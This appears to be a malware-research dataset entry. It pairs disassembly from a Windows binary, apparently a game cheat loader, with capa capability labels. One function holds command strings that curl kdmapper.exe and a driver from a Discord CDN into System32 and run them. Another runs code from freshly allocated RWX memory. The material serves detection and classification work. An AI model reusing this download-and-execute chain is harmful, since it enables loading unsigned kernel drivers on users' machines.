joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140002ec0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x98
mov rax, qword [0x140057010]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rcx, qword [0x140057c08]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140057e68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140057cc8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [0x140057e60]
call qword [sym.imp.USER32.dll_DestroyWindow]
movups xmm0, xmmword [0x140049f08]
movzx eax, byte [0x140049f28]
xor ecx, ecx
cmp dword [0x140057018], 2
movups xmm1, xmmword [0x140049f18]
mov byte [rsp + 0x50], al
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
jl 0x1400030b5
movdqa xmm0, xmmword [str.3333333333333333]
lea rdx, [rsp + 0x34]
movdqa xmm5, xmmword [0x14004f710]
mov eax, 4
movdqa xmm4, xmmword [0x14004f7d0]
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x70], xmm7
movdqa xmm7, xmmword [0x14004f730]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm8
movd xmm8, eax
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14004f770]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14004f770]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x20
jl 0x140002fa0
movaps xmm8, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x70]
movaps xmm6, xmmword [rsp + 0x80]
cmp ecx, 0x21
jge 0x1400030ed
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x31
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0x21
jl 0x1400030c0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140047210
add rsp, 0x98
ret
Function at 0x1400040b0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
movaps xmmword [rsp + 0x60], xmm6
lea rcx, str.radar
movaps xmmword [rsp + 0x50], xmm7
xor edx, edx
mov r8d, 0x209f
call fcn.14001a7e0
mov rdx, qword [0x140057d60]
lea r8, [rbp + 0x48]
xor r13d, r13d
lea rcx, [rbp - 0x40]
mov dword [rbp + 0x48], r13d
mov rax, qword [rdx + 0x3e88]
mov byte [rax + 0x98], 1
mov rax, qword [rdx + 0x3e88]
mov byte [rax + 0x98], 1
mov rax, qword [rdx + 0x3e88]
lea rdx, [rbp + 0x50]
movups xmm0, xmmword [rbx]
movsd xmm1, qword [rbx + 0x10]
mov rdi, qword [rax + 0x280]
movaps xmmword [rbp - 0x40], xmm0
movsd qword [rbp - 0x30], xmm1
call fcn.140003a90
movd xmm0, dword [rbp + 0x50]
lea rcx, [rbp - 0x40]
mov rax, qword [0x140057d60]
movd xmm1, dword [rbp + 0x48]
movss xmm7, dword [0x14004f47c]
cvtdq2ps xmm0, xmm0
mov dword [rbp - 0x40], 0x3f800000
mov dword [rbp - 0x3c], 0x3f800000
mov dword [rbp - 0x38], 0x3f800000
movss xmm6, dword [rax + 0x37d8]
movss dword [rbp + 0x50], xmm0
movaps xmm0, xmm6
mulss xmm0, dword [0x14004f448]
cvtdq2ps xmm1, xmm1
movss dword [rbp - 0x34], xmm0
movss dword [rbp + 0x54], xmm1
call fcn.140010b10
movaps xmm0, xmm6
mov dword [rbp - 0x40], 0x3f800000
mulss xmm0, dword [0x14004f468]
lea rcx, [rbp - 0x40]
mov r15d, eax
mov dword [rbp - 0x3c], 0x3f400000
mov dword [rbp - 0x38], 0x3e800000
movss dword [rbp - 0x34], xmm0
call fcn.140010b10
lea rcx, [rbp - 0x40]
movss dword [rbp - 0x34], xmm6
mov r14d, eax
mov dword [rbp - 0x40], 0x3f666666
mov dword [rbp - 0x3c], 0x3f666666
mov dword [rbp - 0x38], 0x3f666666
call fcn.140010b10
movss xmm6, dword [0x14004f548]
mov r12d, eax
test eax, 0xff000000
je 0x140004257
movss xmm2, dword [0x14004f568]
lea rdx, [rbp + 0x50]
mov dword [rsp + 0x28], 0xb
xorps xmm3, xmm3
mov rcx, rdi
movss dword [rsp + 0x20], xmm6
call fcn.140030060
mov r8d, dword [rdi + 0x78]
mov r9d, r12d
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], 1
call fcn.14002e680
mov dword [rdi + 0x78], r13d
test r15d, 0xff000000
je 0x1400042ad
movss xmm2, dword [0x14004f568]
lea rdx, [rbp + 0x50]
mov dword [rsp + 0x28], 0xb
xorps xmm3, xmm3
mov rcx, rdi
movss dword [rsp + 0x20], xmm6
call fcn.140030060
mov r8d, dword [rdi + 0x78]
mov r9d, r15d
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
movss dword [rsp + 0x28], xmm7
mov dword [rsp + 0x20], 1
call fcn.14002e680
mov dword [rdi + 0x78], r13d
test r14d, 0xff000000
je 0x1400042f5
movss xmm2, dword [0x14004f54c]
lea rdx, [rbp + 0x50]
mov dword [rsp + 0x28], 0xb
xorps xmm3, xmm3
mov rcx, rdi
movss dword [rsp + 0x20], xmm6
call fcn.140030060
mov r8d, dword [rdi + 0x78]
mov r9d, r14d
mov rdx, qword [rdi + 0x80]
mov rcx, rdi
call fcn.14002f590
mov dword [rdi + 0x78], r13d
mov rbx, qword [rsp + 0xb0]
movaps xmm6, xmmword [rsp + 0x60]
movaps xmm7, xmmword [rsp + 0x50]
add rsp, 0x70
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
jmp fcn.14001cb80
Function at 0x140004ee0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140057010]
xor rax, rsp
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 0xf
mov byte [rsp + 0x20], 0
lea rdx, str.Do_you_want_to_load_The_cheat_driver___y_n_:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000e4f0
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000e840
lea rcx, [rsp + 0x20]
mov rbx, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x38]
cmp rsi, 0x10
cmovae rcx, rbx
mov rdi, qword [rsp + 0x30]
cmp rdi, 1
jne 0x140004f76
mov r8, rdi
lea rdx, [0x140049a58]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004fe8
lea rcx, [rsp + 0x20]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, 1
jne 0x140004f9c
mov r8, rdi
lea rdx, [0x140049844]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004fe8
lea rcx, [rsp + 0x20]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, 3
jne 0x140004fc2
mov r8, rdi
lea rdx, [0x140049a5c]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140004fe8
lea rcx, [rsp + 0x20]
cmp rsi, 0x10
cmovae rcx, rbx
cmp rdi, 3
jne 0x140005010
mov r8, rdi
lea rdx, [0x140049a60]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140005010
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1118602776524632135_1118839599486226432_kdmapper.exe___output_C:WindowsSystem32kdmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1118602776524632135_1118839965623799808_rlbmods.sys___output_C:WindowsSystem32drvmoment.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32__kdmapper.exe_drvmoment.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
cmp rsi, 0x10
jb 0x14000504a
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140005042
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005042
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140047230
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140047210
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140006060
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x98
add rcx, 0x318
call fcn.14000e6c0
mov r8d, dword [0x140057d9c]
lea rcx, [rsp + 0x20]
mov rdx, rax
call fcn.140001ea0
movups xmm0, xmmword [rsp + 0x20]
lea rdx, [rsp + 0x40]
movsd xmm1, qword [rsp + 0x30]
lea rcx, [rsp + 0x20]
movaps xmmword [rsp + 0x40], xmm0
movsd qword [rsp + 0x50], xmm1
call fcn.140002a90
movsd xmm1, qword [rsp + 0x28]
xorps xmm0, xmm0
ucomisd xmm1, xmm0
jp 0x1400060c1
je 0x1400062a4
mov eax, dword [0x140057d40]
xorps xmm3, xmm3
cdq
mov qword [rsp + 0x90], rbx
sub eax, edx
movaps xmmword [rsp + 0x80], xmm6
sar eax, 1
xorps xmm2, xmm2
movaps xmmword [rsp + 0x70], xmm7
xorps xmm7, xmm7
movaps xmmword [rsp + 0x60], xmm8
movsd xmm8, qword [rsp + 0x20]
movd xmm5, eax
mov eax, dword [0x140057cd4]
cdq
sub eax, edx
sar eax, 1
cvtpd2ps xmm8, xmm8
movd xmm4, eax
ucomiss xmm8, xmm3
cvtdq2ps xmm4, xmm4
cvtpd2ps xmm6, xmm1
cvtdq2ps xmm5, xmm5
jp 0x140006121
je 0x140006169
comiss xmm8, xmm5
jbe 0x14000614c
movaps xmm2, xmm5
movaps xmm0, xmm5
subss xmm2, xmm8
addss xmm0, xmm5
xorps xmm2, xmmword [0x14004f800]
movaps xmm1, xmm2
addss xmm1, xmm5
comiss xmm1, xmm0
jbe 0x14000614c
xorps xmm2, xmm2
comiss xmm5, xmm8
jbe 0x140006169
movaps xmm2, xmm8
subss xmm2, xmm5
movaps xmm0, xmm2
addss xmm0, xmm5
comiss xmm3, xmm0
jbe 0x140006169
xorps xmm2, xmm2
ucomiss xmm6, xmm3
movaps xmm8, xmmword [rsp + 0x60]
jp 0x140006176
je 0x1400061ba
comiss xmm6, xmm4
jbe 0x14000619f
movaps xmm7, xmm4
movaps xmm0, xmm4
subss xmm7, xmm6
addss xmm0, xmm4
xorps xmm7, xmmword [0x14004f800]
movaps xmm1, xmm7
addss xmm1, xmm4
comiss xmm1, xmm0
jbe 0x14000619f
xorps xmm7, xmm7
comiss xmm4, xmm6
jbe 0x1400061ba
movaps xmm7, xmm6
subss xmm7, xmm4
movaps xmm1, xmm7
addss xmm1, xmm4
comiss xmm3, xmm1
jbe 0x1400061ba
xorps xmm7, xmm7
divss xmm2, dword [0x140057050]
xorps xmm1, xmm1
movaps xmm0, xmm2
movdqu xmmword [rsp + 0x28], xmm1
call sub.api_ms_win_crt_math_l1_1_0.dll_floorf
divss xmm7, dword [0x140057050]
cvttss2si eax, xmm0
movaps xmm0, xmm7
movd xmm1, eax
cvtdq2pd xmm1, xmm1
addsd xmm1, qword [0x140057c10]
cvttsd2si eax, xmm1
mov dword [rsp + 0x20], eax
call sub.api_ms_win_crt_math_l1_1_0.dll_floorf
cvttss2si eax, xmm0
xor ecx, ecx
mov edx, 0x1000
mov r8d, edx
lea r9d, [rcx + 0x40]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
subsd xmm1, qword [0x140057d48]
cvttsd2si eax, xmm1
mov dword [rsp + 0x24], eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm7, xmmword [rsp + 0x70]
mov rbx, rax
movaps xmm6, xmmword [rsp + 0x80]
test rax, rax
je 0x14000629c
movups xmm0, xmmword [0x140057e70]
mov edx, 1
movups xmmword [rax], xmm0
movsd xmm1, qword [0x140057e80]
movsd qword [rax + 0x10], xmm1
mov ecx, dword [0x140057e88]
mov dword [rax + 0x18], ecx
movzx ecx, word [0x140057e8c]
mov word [rax + 0x1c], cx
lea rcx, [rsp + 0x20]
call rbx
xor edx, edx
mov r8d, 0x1000
mov rcx, rbx
call sub.VCRUNTIME140.dll_memset
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [rsp + 0x90]
add rsp, 0x98
ret
Function at 0x140010580
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x1400105dd
lea rbx, [0x14004a180]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x1400105c4
cmp r10, 2
jb 0x1400105c4
cmp byte [r9], r8b
jne 0x1400105c4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x1400105a0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14001061f
lea rbx, [0x14004a180]
cmp r8b, 0x23
jne 0x140010603
cmp byte [r9], r8b
jne 0x140010603
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400105f0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140010760
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14001077a
mov qword [r8], 0
lea rdx, [0x14004ef44]
call fcn.140010630
mov rbx, rax
test rax, rax
jne 0x14001079a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140010871
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140010871
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140010871
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140010871
cmp rdi, 0xffffffffffffffff
je 0x140010871
mov rax, qword [0x140057d60]
test rax, rax
je 0x14001080e
inc dword [rax + 0xec]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140010871
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x14001085e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x140057d60]
test rax, rax
je 0x140010853
dec dword [rax + 0xec]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14001087a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x14001086c
mov qword [r14], rdi
mov rax, rsi
jmp 0x14001087c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x140012d40
Capabilities:
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0xd0]
mov rax, qword [rcx + 0xd8]
mov ebx, dword [rax + r8*4 - 4]
lea r8, [0x14004a180]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x39]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3a]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, byte [rsp + 0x3b]
xor ebx, dword [r8 + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [r8 + rcx*4]
mov rcx, qword [0x140057d60]
not ebx
cmp dword [rcx + 0x3ebc], ebx
jne 0x140012dcb
movsxd r8, edx
mov ecx, ebx
mov edx, 4
call fcn.140024b10
mov eax, ebx
add rsp, 0x20
pop rbx
ret
Function at 0x14001ee00
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140057010]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x140057d60]
mov edi, ecx
cmp byte [rbx + 0x4235], 0
jne 0x14001ee61
cmp byte [rbx + 0x4236], 0
jne 0x14001ee61
movsx r9d, word [rbx + 0x531a]
lea r8, str.Tooltip__02d
mov edx, 0x10
lea rcx, [rsp + 0x20]
call fcn.140010440
test dil, 1
je 0x14001ef88
jmp 0x14001eeea
movss xmm1, dword [rbx + 0x3890]
lea r8, str.Tooltip__02d
movsx r9d, word [rbx + 0x531a]
lea rcx, [rsp + 0x20]
movaps xmm0, xmm1
xor eax, eax
mulss xmm0, dword [0x14004f570]
mulss xmm1, dword [0x14004f560]
lea edx, [rax + 0x10]
addss xmm0, dword [rbx + 0xdf4]
addss xmm1, dword [rbx + 0xdf8]
mov qword [rbx + 0x3fa0], rax
mov dword [rbx + 0x3f8c], 1
movss dword [rbx + 0x3f98], xmm0
movss dword [rbx + 0x3f9c], xmm1
movss xmm0, dword [rbx + 0x38ec]
mulss xmm0, dword [0x14004f44c]
or dword [rbx + 0x3f88], 0x41
movss dword [rbx + 0x3fe8], xmm0
call fcn.140010440
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x14001ef40
lea r11, [0x14004a180]
nop word [rax + rax]
cmp r9b, 0x23
jne 0x14001ef23
cmp byte [r8], r9b
jne 0x14001ef23
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x14001ef10
not ecx
call fcn.140018130
test rax, rax
je 0x14001ef88
cmp byte [rax + 0x96], 0
je 0x14001ef88
mov byte [rax + 0x9d], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xb8], 1
lea rcx, [rsp + 0x20]
inc word [rbx + 0x531a]
mov edx, 0x10
movsx r9d, word [rbx + 0x531a]
call fcn.140010440
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x20c0347
call fcn.14001a7e0
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140047210
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140023690
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
cmp qword [rcx + 0x53c8], 0
lea rbx, [rcx + 0x53d0]
mov rsi, r8
mov rbp, rdx
mov rdi, rcx
je 0x140023737
mov r9d, dword [rbx + 4]
mov qword [rsp + 0x30], r14
xor r14d, r14d
test r9d, r9d
jns 0x1400236ea
mov eax, r9d
mov rcx, rbx
cdq
sub eax, edx
mov edx, r14d
sar eax, 1
add eax, r9d
test eax, eax
cmovg edx, eax
call fcn.140025750
mov r8, rsi
mov dword [rbx], r14d
mov rdx, rbp
mov rcx, rbx
call fcn.140010c80
mov eax, dword [rbx]
mov edx, 1
mov r9, qword [rdi + 0x53c8]
test eax, eax
lea ecx, [rax - 1]
mov rax, qword [rdi + 0x53d8]
cmove ecx, r14d
test rax, rax
movsxd r8, ecx
lea rcx, [0x140057d54]
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r14, qword [rsp + 0x30]
jmp 0x14002373f
mov rcx, rbx
call fcn.140010c80
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x140023cb0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 8
movzx r9d, byte [rcx]
lea r8, [rcx + 1]
mov r10, qword [0x140057d60]
mov r11d, 0xffffffff
mov eax, r11d
test r9b, r9b
je 0x140023d13
mov qword [rsp], rbx
lea rbx, [0x14004a180]
nop dword [rax]
cmp r9b, 0x23
jne 0x140023cf3
cmp byte [r8], r9b
jne 0x140023cf3
cmp byte [r8 + 1], r9b
cmove eax, r11d
movzx edx, al
movzx ecx, r9b
movzx r9d, byte [r8]
xor rdx, rcx
shr eax, 8
inc r8
xor eax, dword [rbx + rdx*4]
test r9b, r9b
jne 0x140023ce0
mov rbx, qword [rsp]
movsxd rcx, dword [r10 + 0x5378]
xor r8d, r8d
not eax
test ecx, ecx
jle 0x140023d47
mov r10, qword [r10 + 0x5380]
mov r9, rcx
mov edx, r8d
lea rcx, [r10 + 8]
cmp dword [rcx], eax
je 0x140023d4e
inc r8d
inc rdx
add rcx, 0x48
cmp rdx, r9
jl 0x140023d34
xor eax, eax
add rsp, 8
ret
movsxd rax, r8d
lea rcx, [rax + rax*8]
lea rax, [r10 + rcx*8]
add rsp, 8
ret
Function at 0x140047d90
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140047dda
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140047dda
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140047dda
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140047dda
cmp dword [rcx + 0x84], 0xe
jbe 0x140047dda
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140047ddc
xor al, al
add rsp, 0x28
ret
Function at 0x1800065a8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor esi, esi
xor ebx, ebx
mov r12, r9
mov rdi, r8
mov rbp, rdx
mov r14, rcx
test r8, r8
je 0x18000661a
call fcn.18000a9ec
mov r8d, pe_nt_image_headers64
mov rdx, rdi
mov r13, qword [rax + 0x18]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindResourceW]
test rax, rax
je 0x18000661a
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x180006667
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov edi, 1
test rsi, rsi
je 0x180006647
mov r10, qword [r14]
mov r9, r12
mov r8, rsi
mov rdx, rbp
mov rcx, r14
call qword [r10 + 0x40]
mov edi, eax
test rbx, rbx
je 0x180006647
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
cmp qword [rbp + 0x98], 0
je 0x180006665
mov rcx, qword [rbp + 0x98]
mov rdx, r12
mov r8, qword [rcx]
call qword [r8 + 0x140]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret

Function at 0x180008cc4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
test rdx, 0xffffffffffff0000
jne 0x180008d03
cmp dword [rcx + 0xa8], 0
jne 0x180008d03
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.18000a9ec
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.180008c68
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x18000befc
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.18001457c
mov rsi, rax
test rax, rax
je 0x18000bf78
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x18000bf73
cmp dword [rbx], 0x40
jb 0x18000bf73
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageW]
bt rax, 0xd
jb 0x18000bf73
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x18000bf7c
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret